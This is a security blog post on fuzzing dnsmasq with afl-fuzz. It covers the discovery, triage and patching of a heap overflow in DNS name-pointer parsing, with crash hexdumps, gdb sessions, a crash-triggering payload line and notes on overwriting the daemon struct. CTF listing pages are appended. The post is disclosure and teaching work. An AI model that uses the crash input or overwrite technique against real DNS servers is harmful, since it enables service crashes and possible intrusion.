    $ mkdir -p fuzzing/client/output/
    $ echo -ne "\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x06google\x03com\x00\x00\x01\x00\x01" > fuzzing/client/input/request.bin
    $ mkdir -p fuzzing/server/input/
    $ mkdir -p fuzzing/server/output/
    $ cat request.bin | nc -vv -u 8.8.8.8 53 > fuzzing/server/input/response.bin
    

    To break down the packet, in case you're curious

    • "\x12\x34" - trn_id - just a random number
    • "\x01\x00" - flags - I think that flag is RD - recursion desired
    • "\x00\x01" - qdcount = 1
    • "\x00\x00" - ancount = 0
    • "\x00\x00" - nscount = 0
    • "\x00\x00" - arcount = 0
    • "\x06google\x03com\x00" - name = "google.com"
    • "\x00\x01" - type = A record
    • "\x00\x01" - class = IN (Internet)

    You can verify it's working by hexdump'ing the response:

    $ hexdump -C response.bin
    00000000  12 34 81 80 00 01 00 0b  00 00 00 00 06 67 6f 6f  |.4...........goo|
    00000010  67 6c 65 03 63 6f 6d 00  00 01 00 01 c0 0c 00 01  |gle.com.........|
    00000020  00 01 00 00 01 2b 00 04  ad c2 21 67 c0 0c 00 01  |.....+....!g....|
    00000030  00 01 00 00 01 2b 00 04  ad c2 21 66 c0 0c 00 01  |.....+....!f....|
    00000040  00 01 00 00 01 2b 00 04  ad c2 21 69 c0 0c 00 01  |.....+....!i....|
    00000050  00 01 00 00 01 2b 00 04  ad c2 21 68 c0 0c 00 01  |.....+....!h....|
    00000060  00 01 00 00 01 2b 00 04  ad c2 21 63 c0 0c 00 01  |.....+....!c....|
    00000070  00 01 00 00 01 2b 00 04  ad c2 21 61 c0 0c 00 01  |.....+....!a....|
    00000080  00 01 00 00 01 2b 00 04  ad c2 21 6e c0 0c 00 01  |.....+....!n....|
    00000090  00 01 00 00 01 2b 00 04  ad c2 21 64 c0 0c 00 01  |.....+....!d....|
    000000a0  00 01 00 00 01 2b 00 04  ad c2 21 60 c0 0c 00 01  |.....+....!`....|
    000000b0  00 01 00 00 01 2b 00 04  ad c2 21 65 c0 0c 00 01  |.....+....!e....|
    000000c0  00 01 00 00 01 2b 00 04  ad c2 21 62              |.....+....!b|
    

    Notice how it starts with "\x12\x34" (the same transaction id I sent), has a question count of 1, has an answer count of 0x0b (11), and contains "\x06google\x03com\x00" 12 bytes in (that's the question). That's basically what we discussed earlier. But the important part is, it has "\xc0\x0c" throughout. In fact, every answer starts with "\xc0\x0c", because every answer is to the first and only question.

    That's exactly what I was talking about earlier - each of those 11 instances of "\xc0\x0c" saved about 10 bytes, so the packet is 110 bytes shorter than it would otherwise have been.

    Now that we have a base case for both the client and the server, we can compile the binary with afl-fuzz's instrumentation. Obviously, this command assumes that afl-fuzz is stored in "~/tools/afl-1.77b" - change as necessary. If you're trying to compile the original code, it doesn't accept CC= or CFLAGS= on the commandline unless you apply this patch first.

    Here's the compile command:

    $ CC=~/tools/afl-1.77b/afl-gcc CFLAGS=-DFUZZ make -j20
    

    and run the fuzzer:

    $ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/client/input/ -o fuzzing/client/output/ ./dnsmasq --client-fuzz=@@
    

    you can simultaneously fuzz the server, too, in a different window:

    $ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/server/input/ -o fuzzing/server/output/ ./dnsmasq --server-fuzz=@@
    

    then let them run a few hours, or possibly overnight.

    For fun, I ran a third instance:

    $ mkdir -p fuzzing/hello/input
    $ echo "hello" > fuzzing/hello/input/hello.bin
    $ mkdir -p fuzzing/hello/output
    $ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/fun/input/ -o fuzzing/fun/output/ ./dnsmasq --server-fuzz=@@
    

    ...which, in spite of being seeded with "hello" instead of an actual DNS packet, actually found an order of magnitude more crashes than the proper packets, except with much, much uglier proofs of concept.. :)

    Fuzz results

    I let this run overnight, specifically to re-create the crashes for this blog. In the morning (after roughly 20 hours of fuzzing), the results were:

    • 7 crashes starting with a well formed request
    • 10 crashes starting from a well formed response
    • 93 crashes starting from "hello"

    You can download the base cases and results here, if you want.

    Triage

    Although we have over a hundred crashes, I know from experience that they're all caused by the same core problem. But not knowing that, I need to pick something to triage! The difference between starting from a well formed request and starting from a "hello" string is noticeable... to take the smallest PoC from "hello", we have:

    crashes $ hexdump -C id\:000024\,sig\:11\,src\:000234+000399\,op\:splice\,rep\:16
    00000000  68 00 00 00 00 01 00 02  e8 1f ec 13 07 06 e9 01  |h...............|
    00000010  67 02 e8 1f c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |g...............|
    00000020  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
    00000030  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 b8 c0 c0 c0 c0 c0  |................|
    00000040  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
    00000050  c0 c0 c0 c0 c0 c0 c0 c0  c0 af c0 c0 c0 c0 c0 c0  |................|
    00000060  c0 c0 c0 c0 cc 1c 03 10  c0 01 00 00 02 67 02 e8  |.............g..|
    00000070  1f eb ed 07 06 e9 01 67  02 e8 1f 2e 2e 10 2e 2e  |.......g........|
    00000080  00 07 2e 2e 2e 2e 00 07  01 02 07 02 02 02 07 06  |................|
    00000090  00 00 00 00 7e bd 02 e8  1f ec 07 07 01 02 07 02  |....~...........|
    000000a0  02 02 07 06 00 00 00 00  02 64 02 e8 1f ec 07 07  |.........d......|
    000000b0  06 ff 07 9c 06 49 2e 2e  2e 2e 00 07 01 02 07 02  |.....I..........|
    000000c0  02 02 05 05 e7 02 02 02  e8 03 02 02 02 02 80 c0  |................|
    000000d0  c0 c0 c0 c0 c0 c0 c0 c0  c0 80 1c 03 10 80 e6 c0  |................|
    000000e0  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
    000000f0  c0 c0 c0 c0 c0 c0 b8 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
    00000100  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
    00000110  c0 c0 c0 c0 c0 af c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
    00000120  cc 1c 03 10 c0 01 00 00  02 67 02 e8 1f eb ed 07  |.........g......|
    00000130  00 95 02 02 02 05 e7 02  02 10 02 02 02 02 02 00  |................|
    00000140  00 80 03 02 02 02 f0 7f  c7 00 80 1c 03 10 80 e6  |................|
    00000150  00 95 02 02 02 05 e7 67  02 02 02 02 02 02 02 00  |.......g........|
    00000160  00 80                                             |..|
    

    Or, if we run afl-tmin on it to minimize:

    00000000  30 30 00 30 00 01 30 30  30 30 30 30 30 30 30 30  |00.0..0000000000|
    00000010  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000020  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000030  30 30 30 30 30 30 30 30  30 30 30 30 30 c0 c0 30  |0000000000000..0|
    00000040  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000050  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000060  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000070  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000080  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000090  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    000000a0  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    000000b0  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    000000c0  05 30 30 30 30 30 c0 c0
    

    (note the 0xc0 at the end - our old friend - but instead of figuring out "\xc0\x0c", the simplest case, it found a much more complex case)

    Whereas here are all four crashing messages from the valid request starting point:

    crashes $ hexdump -C id\:000000\,sig\:11\,src\:000034\,op\:flip2\,pos\:24
    00000000  12 34 01 00 00 01 00 00  00 00 00 00 06 67 6f 6f  |.4...........goo|
    00000010  67 6c 65 03 63 6f 6d c0  0c 01 00 01              |gle.com.....|
    0000001c
    
    crashes $ hexdump -C id\:000001\,sig\:11\,src\:000034\,op\:havoc\,rep\:4
    00000000  12 34 08 00 00 01 00 00  e1 00 00 00 06 67 6f 6f  |.4...........goo|
    00000010  67 6c 65 03 63 6f 6d c0  0c 01 00 01              |gle.com.....|
    0000001c
    
    crashes $ hexdump -C id\:000002\,sig\:11\,src\:000034\,op\:havoc\,rep\:2
    00000000  12 34 01 00 eb 00 00 00  00 00 00 00 06 67 6f 6f  |.4...........goo|
    00000010  67 6c 65 03 63 6f 6d c0  0c 01 00 01              |gle.com.....|
    
    crashes $ hexdump -C id\:000003\,sig\:11\,src\:000034\,op\:havoc\,rep\:4
    00000000  12 34 01 00 00 01 01 00  00 00 10 00 06 67 6f 6f  |.4...........goo|
    00000010  67 6c 65 03 63 6f 6d c0  0c 00 00 00 00 00 06 67  |gle.com........g|
    00000020  6f 6f 67 6c 65 03 63 6f  6d c0 00 01 00 01        |oogle.com.....|
    0000002e
    

    The first three crashes are interesting, because they're very similar. The only differences are the flags field (0x0100 or 0x0800) and the count fields (the first is unmodified, the second has 0xe100 "authority" records listed, and the third has 0xeb00 "question" records). Presumably, that stuff doesn't matter, since random-looking values work.

    Also note that near the end of every message, we see our old friend again: "\xc0\x0c".

    We can run afl-tmin on the first one to get the tightest message we can:

    00000000  30 30 30 30 30 30 30 30  30 30 30 30 06 30 6f 30  |000000000000.0o0|
    00000010  30 30 30 03 30 30 30 c0  0c                       |000.000..|
    

    As predicted, the question and answer counts don't matter. All that matters is the name's length fields and the "\xc0\x0c". Oddly it included the "o" from google.com, which is probably a bug (my fuzzing instrumentation isn't perfect because due to requests going to the Internet, the result isn't always deterministic).

    The vulnerability

    Now that we have a decent PoC, let's check it out in a debugger:

    $ gdb -q --args ./dnsmasq -d --randomize-port --client-fuzz=./min.bin
    Reading symbols from ./dnsmasq...done.
    Unable to determine compiler version.
    Skipping loading of libstdc++ pretty-printers for now.
    (gdb) run
    [...]
    Program received signal SIGSEGV, Segmentation fault.
    __strcpy_sse2 () at ../sysdeps/x86_64/multiarch/../strcpy.S:135
    135     ../sysdeps/x86_64/multiarch/../strcpy.S: No such file or directory.
    

    It crashed in strcpy. Fun! Let's see the line it crashed on:

    (gdb) x/i $rip
    => 0x7ffff73cc600 <__strcpy_sse2+192>:  mov    BYTE PTR [rdx],al
    (gdb) print/x $rdx
    $1 = 0x0
    

    Oh, a null-pointer write. Seems pretty lame.

    Honestly, when I got here, I lost steam. Null-pointer dereferences need to be fixed, especially because they can hide other bugs, but they aren't going to earn me l33t status. So I would have to fix it or deal with hundreds of crappy results.

    If we look at the packet in more detail, the name it's parsing is essentially: "\x06AAAAAA\x03AAA\xc0\x0c" (changed '0' to 'A' to make it easier on the eyes). The "\xc0\x0c" construct reference 12 bytes into the message, which is the start of the name. When it's parsed, after one round, it'll be "\x06AAAAAA\x03AAA\x06AAAAAA\x03AAA\xc0\x0c". But then it reaches the "\xc0\x0c" again, and goes back to the beginning. Basically, it infinite loops in the name parser.

    So, it's obvious that a self-referential name causes the problem. But why?

    I tracked down the code that handles 0xc0. It's in rfc1035.c, and looks like:

         if (label_type == 0xc0) /* pointer */
            {
              if (!CHECK_LEN(header, p, plen, 1))
                return 0;
    
              /* get offset */
              l = (l&0x3f) << 8;
              l |= *p++;
    
              if (!p1) /* first jump, save location to go back to */
                p1 = p;
    
              hops++; /* break malicious infinite loops */
              if (hops > 255)
              {
                printf("Too many hops!\n");
                printf("Returning: [%d] %s\n", ((uint64_t)cp) - ((uint64_t)name), name);
                return 0;
              }
    
              p = l + (unsigned char *)header;
            }
    

    If look at that code, everything looks pretty okay (and for what it's worth, the printf()s are my instrumentation and aren't in the original). If that's not the problem, the only other field type being parsed is the name part (ie, the part without 0x40/0xc0/etc. in front). Here's the code (with a bunch of stuff removed and the indents re-flowed):

      namelen += l;
      if (namelen+1 >= MAXDNAME)
      {
        printf("namelen is too long!\n"); /* <-- This is what triggers. */
        printf("Returning: [%d] %s\n", ((uint64_t)cp) - ((uint64_t)name), name);
        return 0;
      }
      if (!CHECK_LEN(header, p, plen, l))
      {
        printf("CHECK_LEN failed!\n");
        return 0;
      }
      for(j=0; j<l; j++, p++)
      {
        unsigned char c = *p;
        if (c != 0 && c != '.')
          *cp++ = c;
        else
          return 0;
      }
      *cp++ = '.';
    

    This code runs for each segment that starts with a value less than 64 ("google" and "com", for example).

    At the start, l is the length of the segment (so 6 in the case of "google"). It adds that to the current TOTAL length - namelen - then checks if it's too long - this is the check that prevents a buffer overflow.

    Then it reads in l bytes, one at a time, and copies them into a buffer - cp - which happens to be on the heap. the namelen check prevents that from overflowing.

    Then it copies a period into the buffer and doesn't increment namelen.

    Do you see the problem there? It adds l to the total length of the buffer, then it reads in l + 1 bytes, counting the period. Oops?

    It turns out, you can mess around with the length and size of substrings quite a bit to get a lot of control over what's written where, but exploiting it is as simple as doing a lookup for "\x08AAAAAAAA\xc0\x0c":

    $ echo -ne '\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x08AAAAAAAA\xc0\x0c\x00\x00\x01\x00\x01' > crash.bin
    $ ./dnsmasq -d --randomize-port --client-fuzz=./crash.bin
    [...]
    Segmentation fault
    

    However, there are two termination conditions: it'll only loop a grand total of 255 times, and it stops after namelen reaches 1024 (non-period) bytes. So coming up with the best possible balance to overwrite what you want is actually pretty tricky - possibly even requires a bit of calculus (or, if you're an engineer, a program that can optimize it for you :) ).

    I should also mention: the reason the "\xc0\x0c" is needed in the first place is that it's impossible to have a name string in that's 1024 bytes - somewhere along the line, it runs afoul of a length check. The "\xc0\x0c" method lets us repeat stuff over and over, sort of like decompressing a small string into memory, overflowing the buffer.

    Exploitability

    I mentioned earlier that it's a null-pointer deref:

    (gdb) x/i $rip
    => 0x7ffff73cc600 <__strcpy_sse2+192>:  mov    BYTE PTR [rdx],al
    (gdb) print/x $rdx
    $1 = 0x0
    

    Let's try again with the crash.bin file we just created, using "\x08AAAAAAAA\xc0\x0c" as the payload:

    $ echo -ne '\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x08AAAAAAAA\xc0\x0c\x00\x00\x01\x00\x01' > crash.bin
    $ gdb -q --args ./dnsmasq -d --randomize-port --client-fuzz=./crash.bin
    [...]
    (gdb) run
    [...]
    (gdb) x/i $rip
    => 0x449998 <answer_request+1064>:      mov    DWORD PTR [rdx+0x20],0x0
    (gdb) print/x $rdx
    $1 = 0x4141412e41414141
    

    Woah.. that's not a null-pointer dereference! That's a write-NUL-byte-to-arbitrary-memory! Those might be exploitable!

    As I mentioned earlier, this is actually a heap overflow. The interesting part is, the heap memory is allocated once - immediately after the program starts - and right after, a heap for the global settings object (daemon) is allocated. That means that we have effectively full control of this object, at least the first couple hundred bytes:

    extern struct daemon {
      /* datastuctures representing the command-line and.
         config file arguments. All set (including defaults)
         in option.c */
    
      unsigned int options, options2;
      struct resolvc default_resolv, *resolv_files;
      time_t last_resolv;
      char *servers_file;
      struct mx_srv_record *mxnames;
      struct naptr *naptr;
      struct txt_record *txt, *rr;
      struct ptr_record *ptr;
      struct host_record *host_records, *host_records_tail;
      struct cname *cnames;
      struct auth_zone *auth_zones;
      struct interface_name *int_names;
      char *mxtarget;
      int addr4_netmask;
      int addr6_netmask;
      char *lease_file;.
      char *username, *groupname, *scriptuser;
      char *luascript;
      char *authserver, *hostmaster;
      struct iname *authinterface;
      struct name_list *secondary_forward_server;
      int group_set, osport;
      char *domain_suffix;
      struct cond_domain *cond_domain, *synth_domains;
      char *runfile;.
      char *lease_change_command;
      struct iname *if_names, *if_addrs, *if_except, *dhcp_except, *auth_peers, *tftp_interfaces;
      struct bogus_addr *bogus_addr, *ignore_addr;
      struct server *servers;
      struct ipsets *ipsets;
      int log_fac; /* log facility */
      char *log_file; /* optional log file */                                                                                                              int max_logs;  /* queue limit */
      int cachesize, ftabsize;
      int port, query_port, min_port;
      unsigned long local_ttl, neg_ttl, max_ttl, min_cache_ttl, max_cache_ttl, auth_ttl;
      struct hostsfile *addn_hosts;
      struct dhcp_context *dhcp, *dhcp6;
      struct ra_interface *ra_interfaces;
      struct dhcp_config *dhcp_conf;
      struct dhcp_opt *dhcp_opts, *dhcp_match, *dhcp_opts6, *dhcp_match6;
      struct dhcp_vendor *dhcp_vendors;
      struct dhcp_mac *dhcp_macs;
      struct dhcp_boot *boot_config;
      struct pxe_service *pxe_services;
      struct tag_if *tag_if;.
      struct addr_list *override_relays;
      struct dhcp_relay *relay4, *relay6;
      int override;
      int enable_pxe;
      int doing_ra, doing_dhcp6;
      struct dhcp_netid_list *dhcp_ignore, *dhcp_ignore_names, *dhcp_gen_names;.
      struct dhcp_netid_list *force_broadcast, *bootp_dynamic;
      struct hostsfile *dhcp_hosts_file, *dhcp_opts_file, *dynamic_dirs;
      int dhcp_max, tftp_max;
      int dhcp_server_port, dhcp_client_port;
      int start_tftp_port, end_tftp_port;.
      unsigned int min_leasetime;
      struct doctor *doctors;
      unsigned short edns_pktsz;
      char *tftp_prefix;.
      struct tftp_prefix *if_prefix; /* per-interface TFTP prefixes */
      unsigned int duid_enterprise, duid_config_len;
      unsigned char *duid_config;
      char *dbus_name;
      unsigned long soa_sn, soa_refresh, soa_retry, soa_expiry;
    #ifdef OPTION6_PREFIX_CLASS.
      struct prefix_class *prefix_classes;
    #endif
    #ifdef HAVE_DNSSEC
      struct ds_config *ds;
      char *timestamp_file;
    #endif
    
      /* globally used stuff for DNS */
      char *packet; /* packet buffer */
      int packet_buff_sz; /* size of above */
      char *namebuff; /* MAXDNAME size buffer */
    #ifdef HAVE_DNSSEC
      char *keyname; /* MAXDNAME size buffer */
      char *workspacename; /* ditto */
    #endif
      unsigned int local_answer, queries_forwarded, auth_answer;
      struct frec *frec_list;
      struct serverfd *sfds;
      struct irec *interfaces;
      struct listener *listeners;
      struct server *last_server;
      time_t forwardtime;
      int forwardcount;
      struct server *srv_save; /* Used for resend on DoD */
      size_t packet_len;       /*      "        "        */
      struct randfd *rfd_save; /*      "        "        */
      pid_t tcp_pids[MAX_PROCS];
      struct randfd randomsocks[RANDOM_SOCKS];
      int v6pktinfo;.
      struct addrlist *interface_addrs; /* list of all addresses/prefix lengths associated with all local interfaces */
      int log_id, log_display_id; /* ids of transactions for logging */
      union mysockaddr *log_source_addr;
    
      /* DHCP state */
      int dhcpfd, helperfd, pxefd;.
    #ifdef HAVE_INOTIFY
      int inotifyfd;
    #endif
    #if defined(HAVE_LINUX_NETWORK)
      int netlinkfd;
    #elif defined(HAVE_BSD_NETWORK)
      int dhcp_raw_fd, dhcp_icmp_fd, routefd;
    #endif
      struct iovec dhcp_packet;
      char *dhcp_buff, *dhcp_buff2, *dhcp_buff3;
      struct ping_result *ping_results;
      FILE *lease_stream;
      struct dhcp_bridge *bridges;
    #ifdef HAVE_DHCP6
      int duid_len;
      unsigned char *duid;
      struct iovec outpacket;
      int dhcp6fd, icmp6fd;
    #endif
      /* DBus stuff */
      /* void * here to avoid depending on dbus headers outside dbus.c */
      void *dbus;
    #ifdef HAVE_DBUS
      struct watch *watches;
    #endif
    
      /* TFTP stuff */
      struct tftp_transfer *tftp_trans, *tftp_done_trans;
    
      /* utility string buffer, hold max sized IP address as string */
      char *addrbuff;
      char *addrbuff2; /* only allocated when OPT_EXTRALOG */
    } *daemon;
    

    I haven't measured how far into that structure you can write, but the total number of bytes we can write into the 1024-byte buffer is 1368 bytes, so somewhere in the realm of the first 300 bytes are at risk.

    The reason we saw a "null pointer dereference" and also a "write NUL byte to arbitrary memory" are both because we overwrote variables from that structure that are used later.

    Patch

    The patch is pretty straight forward: add 1 to namelen for the periods. There was a second version of the same vulnerability (forgotten period) in the 0x40 handler as well.

    But..... I'm concerned about the whole idea of building a string and tracking the length next to it. That's a dangerous design pattern, and the chances of regressing when modifying any of the name parsing is high.

    Exploit so-far

    I started writing an exploit for it. Before I stopped, I basically found a way to brute-force build a string that would overwrite an arbitrary number of bytes by adding the right amount of padding and the right number of periods. That turned out to be a fairly difficult job, because there are various things you have to juggle (the padding at the front of the string and the size of the repeated field). It turns out, the maximum length you can get is 1368 bytes put into a 1024-byte buffer.

    You can download it here.

    ...why it never got famous

    I held this back throughout the blog because it's the sad part. :)

    It turns out, since I was working from the git HEAD version, it was brand new code. After bissecting versions to figure out where the vulnerable code came from, I determined that it was present only in 2.73rc5 - 2.73rc7. After I reported it, the author rolled out 2.73rc8 with the fix.

    It was disappointing, to say the least, but on the plus side the process was interesting enough to write about! :)

    Conclusion

    So to summarize everything...

    • I modified dnsmasq to read packets from a file instead of the network, then used afl-fuzz to fuzz and crash it.
    • I found a vulnerability that was recently introduced, when parsing "\xc0\x0c" names + using periods.
    • I triaged the vulnerability, and started writing an exploit.
    • Determined that the vulnerability was in brand new code, so I gave up on the exploit and decided to write a blog instead.

    And who knows, maybe somebody will develop one for fun? If anybody does, I'll give them a month of Reddit Gold!!!! :)

    (I'm kidding about using that as a motivator, but I'll really do it if anybody bothers :P)

    13 thoughts on “How I nearly almost saved the Internet, starring afl-fuzz and dnsmasq

    1. Reply

      Anon

      So what you're saying is you spent a ton of time and effort making sure that a bug never got released into the wild by doing prerelease testing and patch production? What's disappointing about that? You're a hero - thank you!

      1. Reply

        Ron Bowes Post author

        Yeah, I think it helped the world, and I was literally doing my job. :)

        But there's always that "find and exploit a cool 0-day" itch!

    2. Reply

      Spamfarm

      This brings up a very good point re: incentives!

      If you waited, thousands of ops teams would have to deploy an emergency patch ... but you'd have a moment in the spotlight.

      Thank you for being an ethical person. I only wish this comment could garner you the kind of industry awareness a l33t 0-day would.

      1. Reply

        Ron Bowes Post author

        Yeah, that's a great point! If I'd waited 6 months or a year, then either somebody else would have found/burnt the 0-day, I would have had a way to access a TON of networks, or I would have been able to create a media shitstorm.

        (As much as it could be fun to create a media shitstorm, it's also stressful, so maybe this is better :) )

    3. Reply

      Anonymous

      Why the fuck am I not allowed to zoom on your shitty website on my iPad. Too small. Not going to read it.

      1. Reply

        Ron Bowes Post author

        Hmm, that sucks! I guess the theme's no good at ipads :(

    4. Reply

      Anonymous

      If you re-run afl-fuzz on the fixed version, do you get any crashes at all?

      1. Reply

        Ron Bowes Post author

        No, once the two vulns were fixed (in 0x40 and in normal text), no more crashes.

    5. Reply

      Anonymous

      Overwriting "luascript" seems like the obvious target for an exploit, if you can point it to the content of your packet.

      1. Reply

        Ron Bowes Post author

        The problem with 'luascript' is that lua is off by default, I think

    6. Reply

      geeknik

      Following along to your blog post, I cloned the official dnsmasq git repo and added in your #ifdef FUZZ portions. Compiled with no problems, but when I try to run dnsmasq with --client-fuzz or --server-fuzz I get this:

      dnsmasq: bad command line options: unsupported option (check that dnsmasq was compiled with DHCP/TFTP/DNSSEC/DBus support)

      Thoughts?

      1. Reply

        Ron Bowes Post author

        @geeknik - hmm, not sure! Maybe it has different defaults on different OSes? That seems unlikely though...

    7. Reply

      en

      hi,

      i "just found it". and must say, this is one of the best post i've ever read about it.

      really appreciate your job. keep going;)

      take care

      o/

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### #####EOF##### August » 2008 » SkullSecurity

    LANMAN and NTLM: Not as complex as you think!

    As I'm sure you've noticed with my first two posts, my NetBIOS/SMB project is taking up most of my time. I hit a bump this weekend, and almost got to the point where the only valid answer was throwing things; luckily, however, I figured it out. I did make a new enemy, though: signed data […]

    ANDX… and what?

    My current project, as you can see by my last post, is to learn how to work in Microsoft's networking protocols (NetBIOS, SMB, CIFS, etc). This is obviously difficult due to the lack of standards and documentation, but there are two things that are seriously making my life difficult:

    nbtool 0.02 released! (also, a primer on NetBIOS)

    All right, maybe 0.02 doesn't sound so impressive, but I've put a lot of work into it so eh? Anyway, I just finished putting together nbtool 0.02. It is partly a test program for myself, and partly a handy tool for probing NetBIOS networks. Here is a link to the tool itself (I've tested this […]

    #####EOF##### June » 2017 » SkullSecurity

    Solving b-64-b-tuff: writing base64 and alphanumeric shellcode

    Hey everybody, A couple months ago, we ran BSides San Francisco CTF. It was fun, and I posted blogs about it at the time, but I wanted to do a late writeup for the level b-64-b-tuff. The challenge was to write base64-compatible shellcode. There's an easy solution - using an alphanumeric encoder - but what's […]

    Book review: The Car Hacker’s Handbook

    So, this is going to be a bit of an unusual blog for me. I usually focus on technical stuff, exploitation, hacking, etc. But this post will be a mixture of a book review, some discussion on my security review process, and whatever asides fall out of my keyboard when I hit it for long […]

    #####EOF##### Hacking » SkullSecurity

    BSidesSF CTF author writeup: genius

    Hey all, This is going to be an author's writeup of the BSidesSF 2019 CTF challenge: genius! genius is probably my favourite challenge from the year, and I'm thrilled that it was solved by 6 teams! It was inspired by a few other challenges I wrote in the past, including Nibbler. You can grab the […]

    Technical Rundown of WebExec

    This is a technical rundown of a vulnerability that we've dubbed "WebExec". The summary is: a flaw in WebEx's WebexUpdateService allows anyone with a login to the Windows system where WebEx is installed to run SYSTEM-level code remotely. That's right: this client-side application that doesn't listen on any ports is actually vulnerable to remote code […]

    Solving b-64-b-tuff: writing base64 and alphanumeric shellcode

    Hey everybody, A couple months ago, we ran BSides San Francisco CTF. It was fun, and I posted blogs about it at the time, but I wanted to do a late writeup for the level b-64-b-tuff. The challenge was to write base64-compatible shellcode. There's an easy solution - using an alphanumeric encoder - but what's […]

    Going the other way with padding oracles: Encrypting arbitrary data!

    A long time ago, I wrote a couple blogs that went into a lot of detail on how to use padding oracle vulnerabilities to decrypt an encrypted string of data. It's pretty important to understand to use a padding oracle vulnerability for decryption before reading this, so I'd suggest going there for a refresher. When […]

    dnscat2 0.05: with tunnels!

    Greetings, and I hope you're all having a great holiday! My Christmas present to you, the community, is dnscat2 version 0.05! Some of you will remember that I recently gave a talk at the SANS Hackfest Summit. At the talk, I mentioned some ideas for future plans. That's when Ed jumped on the stage and […]

    dnscat2: now with crypto!

    Hey everybody, Live from the SANS Pentest Summit, I'm excited to announce the latest beta release of dnscat2: 0.04! Besides some minor cleanups and UI improvements, there is one serious improvement: all dnscat2 sessions are now encrypted by default! Read on for some user information, then some implementation details for those who are interested! For […]

    GitS 2015: Giggles (off-by-one virtual machine)

    Welcome to part 3 of my Ghost in the Shellcode writeup! Sorry for the delay, I actually just moved to Seattle. On a sidenote, if there are any Seattle hackers out there reading this, hit me up and let's get a drink! Now, down to business: this writeup is about one of the Pwnage 300 […]

    GitS 2015: aart.php (race condition)

    Welcome to my second writeup for Ghost in the Shellcode 2015! This writeup is for the one and only Web level, "aart" (download it). I wanted to do a writeup for this one specifically because, even though the level isn't super exciting, the solution was actually a pretty obscure vulnerability type that you don't generally […]

    Defcon Quals writeup for byhd (reversing a Huffman Tree)

    This is my writeup for byhd, a 2-point challenge from the Defcon Qualifier CTF. You can get the files, including my annotated assembly file, here. This is my second (and final) writeup for the Defcon Qualifiers, you can find the writeup for shitsco here. This was a reverse engineering challenge where code would be constructed […]

    Defcon Quals writeup for Shitsco (use-after-free vuln)

    Hey folks, Apparently this blog has become a CTF writeup blog! Hopefully you don't mind, I still try to keep all my posts educational. Anyway, this is the first of two writeups for the Defcon CTF Qualifiers (2014). I only completed two levels, both of which were binary reversing/exploitation! This particular level was called "shitsco", […]

    PlaidCTF writeup for Pwn-275 – Kappa (type confusion vuln)

    Hey folks, This is my last writeup for PlaidCTF! You can get a list of all my writeups here. Kappa is a 275-point pwnable level called Kappa, and the goal is to capture a bunch of Pokemon and make them battle each other! Ultimately, this issue came down to a type-confusion bug that let us […]

    PlaidCTF writeup for Pwn-200 (a simple overflow bug)

    I know what you're thinking of: what's with all the Web levels!? Well, I was saving the exploitation levels for last! This post will be about Pwnable-200 (ezhp), and the next one will be Pwnable-275 (kappa). You can get the binary for ezhp here, and I highly recommend poking at this if you're interested in […]

    PlaidCTF writeup for Web-300 – whatscat (SQL Injection via DNS)

    Hey folks, This is my writeup for Whatscat, just about the easiest 300-point Web level I've ever solved! I wouldn't normally do a writeup about a level like this, but much like the mtpox level I actually wrote the exact tool for exploiting this, and even wrote a blog post about it almost exactly 4 […]

    PlaidCTF writeup for Web-200 – kpop (bad deserialization)

    Hello again! This is my second writeup from PlaidCTF this past weekend! It's for the Web level called kpop, and is about how to shoot yourself in the foot by misusing serialization (download the files). There are at least three levels I either solved or worked on that involved serialization attacks (mtpox, reeekeeeeee, and this […]

    PlaidCTF writeup for Web-150 – mtpox (hash extension attack)

    Hey folks, This is going to be my first of a couple writeups about this past weekend's CTF: PlaidCTF! My first writeup is for a 150-point Web level called mtpox. I chose this one to do first not only because it's the first level I completed, but also because the primary vulnerability was a hash […]

    Ghost in the Shellcode: fuzzy (Pwnage 301)

    Hey folks, It's a little bit late coming, but this is my writeup for the Fuzzy level from the Ghost in the Shellcode 2014 CTF! I kept putting off writing this, to the point where it became hard to just sit down and do it. But I really wanted to finish before PlaidCTF 2014, which […]

    Ghost in the Shellcode: gitsmsg (Pwnage 299)

    "It's Saturday night; I have no date, a 2L bottle of Shasta, and my all-rush mix tape. Let's rock!" ...that's what I said before I started gitsmsg. I then entered "Rush" into Pandora, and listened to a mix of Rush, Kansas, Queen, Billy Idol, and other 80's rock for the entire level. True story. Anyway, […]

    Ghost in the Shellcode: TI-1337 (Pwnable 100)

    Hey everybody, This past weekend was Shmoocon, and you know what that means—Ghost in the Shellcode! Most years I go to Shmoocon, but this year I couldn't attend, so I did the next best thing: competed in Ghost in the Shellcode! This year, our rag-tag band of misfits—that is, the team who purposely decided not […]

    #####EOF##### November » 2012 » SkullSecurity

    What’s going on with SkullSpace (our hackerspace)?

